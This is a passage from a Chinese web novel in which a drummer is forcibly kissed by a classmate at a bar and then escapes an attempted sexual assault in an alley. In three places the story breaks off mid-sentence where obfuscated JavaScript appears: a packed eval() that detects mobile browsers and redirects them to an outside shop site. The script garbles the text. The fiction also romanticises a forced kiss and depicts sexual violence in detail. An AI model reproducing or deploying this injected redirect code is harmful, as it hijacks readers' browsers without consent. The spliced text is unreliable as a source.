罗子昂知道,这个区域,他随便坐哪里,也不用消费达到一定金额,因为他跟酒吧老板是好友,这个区域的任何一个位置,他都可以坐。 罗子昂借机坐到谢劲舟旁边,他却难得地没撵自己,一转头,发现他的注意力完全不在他身上,一直盯着舞台上的“鼓手头牌”。 奇怪的是,“鼓手头牌”最后敲下鼓槌,扬手抬头时,视线竟然精准地落在他们这儿,好像落在谢劲舟身上。 他家舟爷到底是什么发光体质,怎么总能吸引到形形色色的女生。 第二首演出曲目是新裤子的《你要跳舞吗》,旋律轻快,吉他声、键盘声、贝斯声、鼓声交织在一起,掀起新一轮的躁动。 舞池里的男女开始随着音乐摇摆,VIP区的人也陆续往舞池的方向走。 罗子昂也站了起来,刚走几步,去看沙发区,发现只剩下谢劲舟,他八风不动,还在翘着二郎腿,悠哉闲散地观看,完全没有要起来跳舞的意思。 他想拽起谢劲舟,却见他皱了眉,一副“别打扰老子”的模样。 “舟爷,去跳舞啊!”罗子昂凑近他耳边说。 谢劲舟朝他冷冷地摆了下手,拒绝意味明显。 算了,他家这位爷不跳就不跳吧,他身上的细胞在躁动,想要动一动身体。 谢劲舟看着舞台上打鼓的驰路,跟在视频里看到的她不太一样,现场看,更能给人带来震撼力。 之前他看过苏漾打鼓,也酷,却少了一股痞劲儿、慵懒劲儿。 驰路打鼓时,节奏感很强,肢体动作又酷又松弛,只要你的视线在她身上落下一秒,便很难移开。 耳边声音躁动,头灯射灯来回交错,这一片区域躁得要命,谢劲舟却觉得自己飘在半空,隔绝了所有喧闹,空中停留的,只有他跟驰路。 有几个瞬间,他都感到,她朝自己看过来,两人的视线在空中交汇,如两股电流,一碰触,便如火燎原。 滚烫的、炙热的、热烈的气息,彼此似乎都能感受得到。 在忽明忽暗的光线下,他们出席一场隐秘的狂欢,探寻一个不灭的青春。 * 处于无人区域的谢劲舟终究还是被人拉走了,还不是一个,是三五个,都是女生,她们连拉带拽地拉走了专心看驰路的谢劲舟。 谢劲舟被她们围在拥挤的舞池中央,人很多,她们的身体几乎都贴着谢劲舟的,仿佛他是宇宙中心,她们都纷纷靠近。 舞池中,全是舞动身姿的男女,谢劲舟夹在其中格格不入,他杵着,没动,目光依然落在舞台上的鼓手身上。 他看到驰路好像在找谁,眼神往左看一圈,又往右看一圈,最后落在舞池这边,与他的视线碰撞。 她那双浓烈的黑色眼眸,仿佛浸染了深浓的夜,深邃、神秘,又迷人。 此刻看他时,还带着一抹冷,像在黑夜里落入了一片雪。 谢劲舟开始有些烦躁,僵硬的身体,被贴着的其中一个女生举起来,示意他舞动起来。 他哪里是任人摆动的主儿,摆脱女生的手,根本不管她们的挽留,径自穿越舞池里群魔乱舞的男女,重新坐回VIP沙发区。 他给酒吧的调酒师荣哥发了条信息,没一会儿,端来了几杯冰镇鸡尾酒。 谢劲舟一开始还小口小口地细品,刚几个女生又走过来,不自觉地拿桌上的鸡尾酒时,他的眸子冷下去,改为大口大口地喝,不爽赤裸裸地写在脸上。 但那几个女生见他这样,越是生出想挑逗他的心思。 所谓“得不到的永远在骚动”,尤其是面对这么个冷痞型的帅哥,她们不想放过。 有人凑上来跟谢劲舟碰杯喝酒,有人来问谢劲舟的联系方式,还有人干脆往他身边再移过去,贴着他坐。 谢劲舟往右挪,明显想跟女生保持距离,女生却不自觉地继续往上贴。 这时,余夏端着一杯莫吉托走过来,把贴着谢劲舟的女生们一一拨开,一声凌厉的“滚”,吓退了女生们。 余夏坐下来,跟谢劲舟保持着距离,什么都没说,看似静静地听着躁动的音乐,实则余光在谢劲舟身上环游,发现他只看着舞台右侧的鼓手。 她刚才一直看主唱,没太注意鼓手,看过去时,惊了下,这鼓手看着眼熟,像……酷辣版驰路。 * 驰路在最后敲鼓时,有一两处敲得格外重、格外激烈,仿佛一种无从找寻出口的发泄。 舞池里的人影她一个都看不见,唯独只看着VIP区懒懒散散坐在沙发上的谢劲舟,他被女生围着、贴着,搞得像人民币似的,人见人爱。 这首歌结束,躁动的音乐声停歇,一位穿着白衬衫的男生捧着一束花上台,送给驰路。 驰路惊讶地接过花,看向送花人——江迟,听到他说:“同桌,你唱得很棒!” 他怎么知道敲鼓的是她?一眼能看出来? 江迟送的是一束红玫瑰,一共九朵,被穿着一身黑的驰路捧在怀里格外醒目、惹眼,衬得她像置身于玫瑰丛中的蝴蝶。 人声依旧嘈杂,驰路怕他听不见,往他身前挪一步,靠近他耳际说:“帮我保密。” “好。”江迟走下舞台,又转身看驰路,目光中似有留念。 余夏看到谢劲舟平静的脸上起了波澜,阴沉得似阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雾霾蓝的头发右侧有一道明显的“X”,不羁张扬。 耳骨上的耳桥在暗色中闪着光,耳垂上挂着三个大小不一的黑色耳环。 胸前的项链,在黑色T恤上发出蓝色的光。 他比驰路要高一头,这样的姿势,这样近的距离,给驰路带来莫名的压迫感。 驰路在演出时,便看到了台下的谢劲舟,神色莫测。 看到他被女生环绕,看到他跟前女友一起。 什么滋味?像吃了一口苦瓜,入口,苦且不爽。 她将鼓敲得响,力道大,像要将苦和不爽都发泄出来。 她没想到,去更衣室准备换下演出服时,刚想关门,却有一双手从外面探进来,挡住门缝,一推门径自进来。 他来得快速而猛烈,仿佛倏忽而至的一场暴雨。 她来得最快,外面陆续有人走进来,时清问她在哪里,她说在更衣间。 在密闭的狭小空间里,驰路被谢劲舟的气息笼罩,紧张又慌乱,心不由得怦怦乱跳。 驰路抬手抵住他的胸膛,一步步推着他往后退,直到推到后面门板上,无法后退时才停住脚步,抬眸看他,咬着牙,压低声音:“你要干吗?” 跟其他女生喝完酒就来找她,还来更衣室找她,几个意思? 谢劲舟挑起她的下巴,直直地望着她,半晌,俯身到她耳畔,沉声说:“想装到什么时候?” 驰路心下一跳,被他发现了? 驰路不想生事,也不想承认鼓手是她,推开他,佯装无辜道:“你在说什么,我听不懂。” “听不懂是吧?”谢劲舟一把揽过她纤细的腰肢,抚上她腰间的蝴蝶腰链,找到腰链上的银色蝴蝶,往她腹部轻轻一按。 扫过凉意,驰路的身体不禁打了个寒颤。 谢劲舟从她的腰腹,往上,到了蝴蝶吊带时,手指改变了方向,沿着腰侧往上。 明明隔着衣服,驰路却依然能感到他指腹的温度,烫着她的肌肤,所到之处,蹿上细细密密的电流。 他要做什么? 谢劲舟的动作没停,指腹划过蝴蝶吊带,划过锁骨,划过颈链,再划过她的侧脸。 “你想干吗?”驰路想抓住他的手,却被他用左手拽住。 谢劲舟的指腹最后停在她右眼尾的那颗胭脂痣上,悄声说:“蝴蝶腰链、蝴蝶颈链、蝴蝶耳挂,眼尾的痣,你还有什么要解释的,驰路?” 54. 肆无忌惮地掠夺 「人生来就有悲欢。 我的悲欢,皆因你而起。 你要负责!」 ——《引路星》 驰路以为自己化了浓妆,换上酷辣的装扮,便能逃过所有人的眼睛,哪里想到会被谢劲舟一眼识破。 也许,是她跟他接触最多,所以他才会对她的首饰熟悉,对她的痣熟悉?还是,他留意过她的首饰、她眼尾的痣? 不管出于什么原因,他发现了自己另一重身份。 她继续装傻? 驰路觉得没必要,以后或许还会来这儿演出,被他发现,早晚的事。 “舟哥,你没必要特意闯进更衣间跟我说这个吧?”驰路挡掉他的手,小声说。 眼尾的胭脂痣上,停留着他指腹的温度,滚烫似火,激起她心头的涟漪。 “江同学,你这是深夜追阿驰啊。”外面响起许婉的声音,“来吧,阿驰在换衣服。” “语欢喊我过来玩,恰好看到阿驰在演出。”江迟朝更衣室看了一眼,发现没有一间更衣室开灯,“阿驰在哪个更衣室换衣服,怎么没开灯?” 更衣室的驰路,忽然被谢劲舟推着,没两下便推到门板上,被他拢在他的双臂之间。 “阿驰,你在这儿吗?”许婉走到最右侧靠墙的更衣室敲门。 驰路被谢劲舟弄得很慌乱,听到许婉过来敲门,心几乎要提到嗓子眼,怦怦跳得厉害。 驰路愣了几秒,才支支吾吾地回:“我……在……里面。” “你怎么不开灯?”许婉看了一圈,发现外面没有开关,“开关在里面吧。” 驰路并不想让谢劲舟看到自己如此慌乱的神色:“我不习惯开灯。” 许婉信以为真:“你还有这个习惯啊,好吧,那你换吧,换快点,江同学在外面等你。” “我不着急。”江迟看向更衣室的方向,“阿驰,你慢慢换。” “阿驰”两个字被叫得格外温柔,仿佛加了层柔和滤镜,像在诉说一场无声的告白。 “阿驰,你慢慢换。”许婉故意学江迟的口吻,学完笑道,“江同学,这么喜欢我们家阿驰啊!” “没人不会喜欢阿驰吧。”江迟说。 他话音刚落,驰路的后脖颈处被尖利牙齿咬了一口,疼得她咬牙,倒吸一口凉气。 该死的谢劲舟,他在做什么? 驰路抬头想说“浑蛋”时,嘴巴正好碰上他凸起的喉结,宛若亲密的吻。 撩得谢劲舟心头的不爽中夹杂着一丝燥,锋利的喉结滚了几下,舌尖顶了下腮侧,在口腔里划了个圈,贴着她耳朵说:“驰路,是你先招惹老子的。” * 驰路巴掌大的脸被谢劲舟单手捧住,让她扬着下巴,露出脆弱而纤细的脖颈。 谢劲舟从她的脖颈一路往下吻,亲得又快又急,仿佛要将她瞬间占有。 江迟给驰路送玫瑰花的画面,江迟给驰路送花时两人近乎贴在一起的亲密场景,江迟亲昵地叫驰路“阿驰”的声音,江迟平时跟驰路送饭送饮料时关切的画面…… 所有关于江迟对驰路亲密的场景,此刻如放电影般,一帧帧地在谢劲舟脑中放映。 放映得越多,他吻得越厉害。 他并不急于探索她的唇,而是将她的脖颈吻遍,听到她轻微的喘息声,才捏着她的下巴:“要不要?” “浑……”后面一个字,驰路还没说出口,谢劲舟已经霸道地含住她的唇瓣,按压、碾磨。 她想说什么,谢劲舟知道,他偏不让她说。 他是浑蛋,他浑蛋到每次江迟靠近驰路时,他就很不爽,就想将驰路圈在身边。 他不知道自己怎么了,像有一根线绑着他,另一头系着驰路,她一动,他不得不跟着动。 她的一切,似乎都跟他有关。 好像只有用这样的方式,才能证明,她不属于江迟,他才是离她最近、最亲密的那个人。 她才是他的蝴蝶。 外面有人,驰路不敢发出多大的动静,张嘴想咬他,他却快速地探入她的唇齿,与她的舌交缠。 一股辛辣的烟酒味蹿上来,从他的舌尖渡到她的舌尖,再在她的唇齿间溢开,如炸开一团团炙热火焰,烧上她的每寸肌肤。 他卷上自己舌尖的瞬间,驰路感到自己的脑袋嗡地炸了下,是被人侵略领地后的提高警惕,也是敏感处被人碰触后的反应,是一种身体本能。 昏暗的狭小更衣室里,他们接着一场隐秘的吻。 她退缩,他就环住她的腰,把她往自己胸口带,拼命地汲取她唇齿间的每个气息。 驰路被他吻得快要喘不过气,鼻尖的热气打在他的脸上,烘着他的身体越发起火。 十八岁少年的荷尔蒙迸发,仗着本能,肆无忌惮地吻她。 “谢……劲舟,有你……这样……吻……人的吗?”驰路好不容易从喉咙间发出支离破碎的声音。 声音很低,低得只有两人可以听见。 谢劲舟终于放过她,没继续吻,却还含着她的舌尖,含混着说:“你要教我?” 趁着他说话间,驰路得到机会,发狠似地伸出利齿,咬上他的舌,狠狠一口,不过瘾,又咬了两口才松开。 须臾,铁锈味在两人的嘴里弥漫开。 跟上次在学校的楼道间一样,一个霸道地占有,一个凶狠地回击。 他们靠近,他们碰撞,他们是青春岁月里横冲直撞的蝴蝶和恶犬。 驰路教训了这个胡作非为的恶犬,立刻从他的唇间逃离,身体往后一退,眼看头要撞到后面的门板上,想象中的画面并未发生。 她的脑袋,撞进了一个宽厚的掌心里。 是谢劲舟及时伸出掌心,第一时间,将她护住。 “阿驰,怎么了,你撞到头了吗?”许婉听到了这边的轻微动静,走过来问。 许婉的脚步声越来越近,驰路的心跳得越来越厉害,像怕被人发现这里暗藏的隐秘。 “我……没事。”驰路一张口,金属质的烟嗓有些哑,口腔里还带着点铁锈味,和谢劲舟的味道。 “那就好。”许婉说,“你怎么还没换好。” “快了。”驰路看了眼挂在一侧门板上的衣服。 什么快了,从进来到现在,根本没换。 许婉说:“好的,江同学还在等你,他说今晚要看完你所有的演出才回去。” 驰路看到谢劲舟隐在暗色里的眸子沉下去,锐利得可以劈开山谷。 驰路想起上次在学校楼道里,谢劲舟也跟这次一样,霸道地掠夺她。 但跟上次不同的是,他的动作没有上次疯狂,侵略中带着一丝难舍的缱绻,似要将她圈入他的世界。 谢劲舟的唇角沾着血珠,透出凄惨的冷痞感,像在夜晚出没的吸血鬼。 驰路下意识地想抬手帮他擦掉血珠,放在身侧的手刚抬起,又放下。 帮这个浑蛋擦血?做梦! “你什么时候出去?”驰路压低声音说。 “阿驰,你觉得我现在适合出去吗?”谢劲舟看着她的眼睛,余光瞥见她的唇,红得像蘸了玫瑰汁,上面还有一滴血珠。 他知道,是他的血。 看到这,谢劲舟的血液瞬间燃烧、沸腾,升出莫名情绪,震荡着他的心。 仿佛,他的蝴蝶,正在为他停留。 驰路庆幸自己选了最靠里的更衣室,离外面的人有一段距离,他们放低的说话声不会被别人听到。 驰路不退缩地也看他,咬牙,一字一句道:“你不出去,我没法换衣服。” 谢劲舟俯身,在她耳畔低语:“阿驰,你不用换衣服,蝴蝶衣服,为你量身定制。” * 出了更衣室,驰路带上门,恨不得把这扇门上锁,让里面的人出不来。 许婉见驰路还穿着闪着亮片的蝴蝶吊带,一惊:“阿驰,你在里面这么久,怎么没换?” “换了,发现还是这件好看,又换回去了。”驰路解释,“所以,换得时间有些长。” 她的心里还惦记着更衣室的谢劲舟,希望他好好地待在里面。 “阿驰,你脖子怎么红了?”许婉看着她的脖子,有几块红斑。 “哪儿啊?”驰路装不知道,心里暗骂,谢劲舟属狗的。 驰路走到化妆镜前,看到镜子里的自己,脖子上果然有几块红痕,新鲜的,张扬的,盘踞在她纤细的脖颈间。 幸好不是咬痕,她胡诌道:“应该是虫子咬的。”还象征性地抓着,“有点痒。” 这时,江迟从包里拿出一瓶风油精,递给驰路:“抹点。” 谎说到这份上,做要做得真些,驰路接过风油精,先倒在指腹间,再一一涂抹。 摸到最后一个红斑时,身后忽然出现一个人影,比她高一头,映在镜子里,是一张痞帅的俊脸,面色冷冽,如冬日寒冰。 驰路吓了一跳,手指一划,错过红斑的位置。 他出来做什么?她明明让他先待里面,等听不到外面的人声后再出来的,为什么现在出来? 难道是要回答她刚才在更衣室问的那句:“谢劲舟,你是不是招惹我上瘾了?” “舟哥,你……”许婉看到谢劲舟从更衣室出来的,惊得嘴巴合不拢,“你……” “我刚来。”谢劲舟脸不红心不跳地扯谎。 许婉顿时明白,谢劲舟这样说,应该是不想让别人知道,他刚才跟驰路在同一个更衣室。 他们刚才发生了什么? 结合校园贴吧里对他俩的各种八卦,许婉隐约能猜出点什么,又去看江迟,心里直呼:苦命的江同学,看来要错付爱意了。 驰路又继续用风油精抹红斑,看着镜子里的自己,余光却不由得看到谢劲舟,看到他锋利的眼眸。 这人……怎么没点自觉? 刚强吻过自己的谢劲舟,悠然自得地出来,装作什么都没发生的样子,却还要给自己冷脸,什么意思? 方才被强吻的过程,驰路在脑子里过了一遍,才知道为什么他要说“驰路,是你先招惹老子的。” 在他说这话前,她好像……不小心亲到了他的喉结,所以,他误以为自己在挑逗他,在亲他? 当意识到这点时,驰路已经坐在化妆镜前了,没了解释的机会,就算解释了又怎样?并不能改变他吻她的事实。 她看到谢劲舟嘴巴上残留一点红,在昏黄的光线下,才看清,那不仅仅是血珠,还残留她唇上的口红,而她唇上的口红几乎快没了。 呵,这浑球,吻得还挺激烈。 她知道,他没犯病,也没醉,他清醒地侵占自己,像在春天的樱桃树上开花,开得热烈又隐秘。 这次的感觉跟上次楼道间不太一样,上次她又气又怒,这次在咬了他三口后,怒气消散,有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560771|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种难言说清的情愫,在心尖冒出头。 似有未熟的青果在心头炸开,汁水四溅,酸涩,又有清冽的回甘。 * 思绪神游之际,响起罗子昂的公鸭嗓:“清清,哥哥来也!” 时清转头看向门边,看到刺猬头的罗子昂,眉头一皱:“顶着你这么一头刺猬头出来,知不知道很辣眼睛。” “清清,那你喜欢哥哥留什么发型?”罗子昂屁颠屁颠地跑过去。 “你喜欢刺猬头没毛病,但也不用这根根竖在头上,还染白色。”时清找出一张图片给他看,“这种不夸张的刺猬头,不就挺好。” “好嘞,清清说得对,明天我就去换!”罗子昂把时清的话当圣旨,走到时清面前,给她递过去一条润喉糖,“送你。” “罗子昂,你每次来都送润喉糖,能不能有点新意。”许婉指着桌上的一束白色百合花,“小粉丝都知道送花、送信,你就不会送点花表表心意?” “表什么心意啊!”罗子昂把喜欢时清的心思藏着,“朋友之间,送点润喉糖,不是最佳的吗,是不是啊,清清?” 明眼人都看得出来罗子昂对时清的心意,他们都没点破,许婉也不想做点破的人,她跟罗子昂有什么区别呢,都在默默地喜欢着自己喜欢的人,默默地付出着。 她每次来都会给程佑白带一个保温杯,里面装着金银花茶,润喉用的。 罗子昂看到谢劲舟也在,揽住他的肩膀:“舟爷,你也在啊,是不是来看鼓手头牌的啊?” 谢劲舟没回,眸子依旧冷冽。 罗子昂看到站在“鼓手头牌”身后的江迟,奇怪地看向他:“江迟,你站那儿干吗?” 江迟说:“没什么,我也过来看看传说中的鼓手头牌。” “怎么样,我没说错吧,是不是贼像驰路?”罗子昂看着“鼓手头牌”,“敢问这位鼓手,你叫什么?” 驰路盖上风油精盖子,转身给江迟,又去看罗子昂,发出金属质感的烟嗓:“蝴蝶。” “艹,连声音都一样。”罗子昂大为震惊,“你不会是驰路……的双胞胎姐妹吧?” “……” 许婉内心哀叹:就这智商,怎么追清清? 罗子昂一侧头,精准捕捉住谢劲舟唇上的红痕,疑惑道:“舟爷,你什么时候有抹口红的癖好了?” * “清白乐队”的演出夹杂在打碟、个人独唱等节目中,演出结束是深夜十二点。 从谢劲舟招惹过她后,这人就消失了,她在舞台上、在休息室都没再见到他。 江迟一直在等她,说太晚了,要送她回去。 驰路换了一身来的衣服,没卸妆,从卫生间出来时,被几个喝得醉醺醺的社会哥拦住,其中一个抬腿,横在过道上,挡住了她的去路。 有女生从卫生间出来,见到此景,吓得跟抬腿社会哥说:“可以放我走吗?” 社会哥们的目标并不在这个女生,但也不想轻易放人,腿没放下,指着□□说:“走啊,从这儿。” 羞辱女生的意味明显,女生见这帮人不好惹,乖乖地往后退,刚退两步,被抬腿社会哥拎起她的衣领往前拽,刚想把人往□□按,驰路看不下去了,厉声说:“放开她。” “怎么,你要陪我们玩玩?”抬腿社会哥把脸凑过来,指着脸颊,“来,亲爷一口,爷给这位妞儿让路。” 驰路胸口腾起一股怒火,放在身侧的手紧握成拳。 这样的人,欠抽! 驰路不管他是混哪个江湖的,抬手朝他的脸揍上一拳,抬腿往他横在面前的腿上一压,拉着女生的手往外跑。 抬腿社会哥捂住被打疼的脸,酒意消了大半,跟其他兄弟们说:“艹,敢打爷,快追!” 后面人多,驰路知道拉着女生跑并不能甩开他们,还可能都会被他们抓住,跟女生说:“你走那边,我走这边。” 她让女生走的是舞池方向,那儿人多,发生点什么还能喊到人。 她走的这边没人,有一扇门,她朝门边走,试图想打开门,开了两下都没打开,后面的脚步声越来越近,还有骂骂咧咧的声音。 驰路并不想跟他们正面交锋,自己不一定是他们的对手,逃为上策。 打开门有台阶,她跨过一节节台阶,终于看到有一个露台,驰路第一时间走到露台的栏杆前,心中闪过一个念头:从这儿跳下去? 但很快排除了这个想法,她还不想断胳膊断腿。 露台的门没法上锁,也没法反锁,社会哥们很快追上来,打开门,看到了正在栏杆前的驰路,抬腿社会哥停了下,发出嘚瑟的笑声,咬牙切齿道:“臭biao子,爷看你往哪里逃!上!”他一招手,示意后面的兄弟们上。 驰路发现这帮人都来找自己,稍稍松了口气,看来刚才的女生安全了。 她刚看了一圈,发现露台的右侧有一个室外楼梯,她赶紧往右侧跑,跑到楼梯口,匆忙下楼。 到最后时,连跨三个楼梯,几乎是跳下来的,差点崴到脚。 社会哥们在后面拼命追,等人都走下楼梯,一个藏在门后的身影探出脑袋。 他站在夜色中,面色清俊,穿着白色衬衫、浅色牛仔裤,白月光似的少年。 他往前走,走到栏杆处,往下看,看到一帮人追着一个小姑娘,像个局外人在看戏,嘴角微微上扬,勾出一抹意味不明的笑意。 55. 小蝴蝶被人打脸了 「心跳在出逃。 追着月亮跑。 这是心动的信号吗?」 ——《小蝴蝶的日落》 驰路稳稳落地后,挑了个方向往前跑,期待着能跑快点,甩开那帮社会哥。 芳町镇的小巷多,她拐过一个又一个,吹在身上的夜风很凉,吹鼓薄薄的T恤,身体从凉感到热,跑得额头上渗出汗珠。 身后的脚步声越来越近,她的呼吸越来越急促,却还在拼命地往前跑,似乎这样就能摆脱他们。 奈何命运弄人,驰路走到了巷子的尽头,是一个死角,只有一堵墙,没有出口。 抬腿社会哥左脸还红着,似乎能看到上面的印子。 他喘着粗气,疾步朝驰路走过去,抬手想把她按到墙上,驰路眼疾手快地抓住他的手,往后一拧,疼得抬腿社会哥直叫唤:“快,快给爷放开!” 抬腿社会哥边喊边趁机用力踩驰路的脚,狠狠碾压。 驰路不得不松开他的手,抬起手掌朝他脖子上用力一砍,迅速抬腿踹他的腹部,将他踹到在地。 其他弟兄不是吃素的,见抬腿社会哥被打得人仰马翻,立刻上去围攻驰路。 驰路见朝自己围过来的社会哥们,有四个,没法逃,只能正面迎战。 这帮人跟她之前接触过的学生混混们不同,他们懂打架技巧、出手快狠,一眼能看出来,他们是要将她快速制服。 在她成功撂倒两个后,一个没注意,被后面的社会哥狠踹后背,连连往前扑去,差点倒地,及时用手撑住了墙才稳住。 刚想站直身子,感受到后面的一阵疾风,几乎要擦过她的背,她及时弯腰,躲过一劫。 驰路转身,迅速站起,拽住他还没收回去的腿往后用力一推,正好推到想站起来的抬腿社会哥身上,来了个叠叠乐。 几番交战后,双方都没落着好,都受了不同程度的伤。 驰路知道再缠斗下去,自己必然会败北,趁一个空挡想逃出去,却被抬腿社会哥一把抓住,一个猛力,将她往墙上甩去。 后背重重地撞到墙上,传来剧烈的疼痛。 驰路咬牙,没发出一点声音。 抬腿社会哥没给她反应的时间,立刻抬腿踹住她的胸口,其他两个社会哥分别拽住她的手,横在墙上,像被架在十字架上的罪人。 “不是想逃的吗?”抬腿社会哥边说边抬手就往驰路脸上狠狠地甩了一巴掌。 一股疼意顿时袭上脸颊,随之而来的,还有耳朵的嗡嗡声,出现了短暂的耳鸣。 “不是会打人的吗?”抬腿社会哥反手又给了驰路一巴掌。 驰路被打得两边脸很快出现了巴掌印,红得吓人,肿了起来。 她抬腿就要朝抬腿社会哥踢去,却被他及时抓住,往上抬,再往上抬,抬得她的另一只脚几乎悬空。 抬腿社会哥看到她脚上的镂空马丁靴:“哟,这鞋还挺洋气啊,怎么看着有点眼熟。” 驰路双手挣扎,却挣脱不开。 她的身体仿佛被钉在了墙上,完全被眼前的五个人压制住。 怎么办?她要怎么办? 驰路心头涌起怒气和恐慌。 “陪爷玩玩,有那么难吗?”抬腿社会哥抚上驰路红肿的脸,“成这样不太好看了,可惜了。” 驰路侧过脸,躲过他的魔爪。 抬腿社会哥就喜欢这种不屈服有骨气的女生,越是这样,越能勾起他的征服欲。 他抬手抚上驰路红艳艳的嘴唇,揉捏了几下:“小嘴怪软的,亲起来应该不错。” 其他四个社会哥发出笑声、口哨声,是起哄,也是嘲讽。 驰路听得心里直犯恶心,她可以被他们打,承受身体上的痛苦。 但她不能忍受有人侵犯她的清白,还是这样的社会渣滓,要当着其他四人的面,当众羞辱她。 驰路知道跟这帮人来硬的不行,只好软声求饶:“今天是我错了,放过我,好吗?” 求饶时,满心抗拒。 “放过你也不是不行。”抬腿社会哥起了玩心,拉下裤子拉链,指着下身,“让爷满意了,爷就放你走。” 驰路看也没看他的下身,心里直犯恶心,再做不到装乖卖惨,骂道:“无耻,流氓!” “哎呀,给你选择了,是你不做的,”抬腿社会哥故作无奈状,“既然你不想伺候爷,就让爷来伺候你。” 说完,抬腿社会哥走到驰路的□□,以一种极其羞辱人的姿势贴着她。 驰路几乎能感到他身体起了的异样,一阵恶心之余,恐慌感蹿上来,紧紧撅住她的心脏。 他离自己越近,她越感觉呼吸困难。 耳边传来社会哥们的嘲弄声,还有调侃助威声:“虎哥就是虎啊,厉害厉害!” 厉害你们个头! 五个臭男人,羞辱一个女生,算哪门子的厉害! 驰路的心不禁跳得越发猛烈,紧紧抿住唇。 她想着,只要这臭男人凑过来亲她,她就扭头,不让他得逞。 但她这样的小小心思被抬腿社会哥提前发觉,捏住她的脸颊,她原先抿住的唇不得不张开,呈小小的O。 “就别跟爷耍什么花样了,”抬腿社会哥得逞地笑,“要玩就好好玩。” 抬腿社会哥低头朝驰路的唇吻去。 * 恐慌被巨大的无助、愤怒取代,驰路单枪匹马地与社会哥们斗,最后要落得清白不在的下场。 她的脸、双手、被抬起的腿,身体的每处都在挣扎,想要挣脱这场深夜的羞辱。 抬腿社会哥的气息越来越近,带着浓烈的烟酒味喷到她脸上,眼看他就要吻上自己的唇。 忽然,一道高大身影笼住了他们面前昏黄的光,以迅雷不及掩耳之势快速将抬腿社会哥踢翻,连带着身体左侧的社会哥也一并倒地。 不等他们反应过来,来人迅速撂倒其他三人,一切发生不到一分钟,地上倒了一片。 驰路放下有点发麻的右腿,看向来人,一头雾霾蓝的头发,在路灯下,泛着昏黄的光,右耳的黑色耳桥闪着犀利的光。 他的眼神锐利似剑,透着前所未有的狠厉,冷冽、锋利。 谢劲舟走到抬腿社会哥面前,抬脚踩住他的手腕,狠狠一拧,疼得抬腿社会哥直求饶:“这位哥,饶命啊!” “饶命可以啊,”谢劲舟弯腰,提溜着他的衣领将人给拎起来,甩到驰路面前,冷冰冰地丢给他两个字:“道歉。” 倒地的四人一片哀号声,都被谢劲舟刚才快狠准的招式吓住了,也被打疼了,现在吓得没敢从地上爬起来,更没有胆量去解救抬腿社会哥。 抬腿社会哥看着驰路,不得不低头求饶:“刚才是爷……是我不对,你大人有大量,还请饶过我吧。” 谢劲舟看到了驰路左右脸都红肿着,猜到了发生了什么。 虽然他没能亲眼看到,但能看出来,她被打的这两下子不轻。 临时帮他在网吧顶班的小五出了点事,他不得不赶回网吧,等他上完夜班赶来时,“清白乐队”的演出结束了,驰路也不知道去了哪里。 谢劲舟本想给驰路发信息,但想了想算了,应该刚走不远。 他的摩托车放在酒吧旁一侧的巷子里,刚想跨上摩托车,听到巷子深处有打斗声。 这样的声音,他听多了,在芳町镇的夜晚时有发生,他不打算理会。 但没一会儿他隐约听到了女生的声音。 有女生被欺负? 谢劲舟可以容忍男生们打群架,却不能忍受有人欺负女生。 他几乎什么都没想,出于身体本能,立刻从摩托车上下来,疯了一样往巷子深处跑去。 远远地,他看到了一个高大肥硕的男生站在一个高个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他跪着,仰头,一扫方才吊儿郎当傲慢的姿态,跟驰路道歉:“这位姑娘,我不该调戏你,不该打你,是我不对,你让这位哥饶了我吧。” * 驰路巷子被堵事件,最后以抬腿社会哥的道歉收尾。 那晚回去时,夜风很凉,她坐在谢劲舟的摩托车后座上,靠在他的后背,明显感觉到他比平时开得更快、开得更猛,像有一肚子气无处发泄。 她不得不抱紧他、倚着他。 快到栾花巷32号,谢劲舟停车,让驰路下来,推着往前走。 这是他惯有的习惯,怕轰鸣的摩托车声会吵醒谢奶奶、谢林乔。 驰路跟在后面,看着谢劲舟绷直的脊背,感到他似乎还在生气。 从他帮她解围到现在,他始终沉着脸,不发一言。 她要做点什么吗?要不要跟他先说话? 驰路低低地说了声“谢谢”。 如果不是谢劲舟及时赶到,后果不堪设想,后怕的情绪还在心间盘旋。 谢劲舟像没听到驰路说话,没有做出任何回应,依旧往前走。 到栾花巷32号院墙外,谢劲舟忽然停下来。 驰路正望着右侧的墙,没注意前面,一直走着,快撞上谢劲舟后背的时候,他却突然转身。 她直直地撞入他的怀里,心脏猛地一跳。 谁都没有动,宛若被钉在一起的两个木偶。 驰路也听到了他的心跳声,在这寂静的夜里,被放大。 咚咚咚跳着,如敲下的鼓点,敲进了她的心里。 驰路回神后,往后退了两步,看向谢劲舟,看到一张痞帅的脸,轮廓立体,下颌线分明,眼眸里透出复杂难辨的情绪。 谢劲舟眸子一沉:“驰路,你胆子越来越大了啊,竟然敢在酒吧待那么晚,还穿得那么暴露。” “谢劲舟,你什么意思?”驰路心情本来就很不好,听他这样说自己,涌上一股火气,“你是说,他们招惹我,是因为我那么晚还在外面,还穿得那么暴露?你看我现在穿得暴露吗?” “说不定他们看出你就是鼓手,又长得……很好看。” “所以呢?”驰路神色不悦。 56. 为小蝴蝶下跪 「夜色凝固,我是黑夜里的囚徒。 想挺直脊背,做自己的神。 但现实是刀锋,逼着我不要挣脱。 小蝴蝶,这次为了你,我愿意放弃所有的骄傲,任凭自尊陨落。」 ——《引路星》 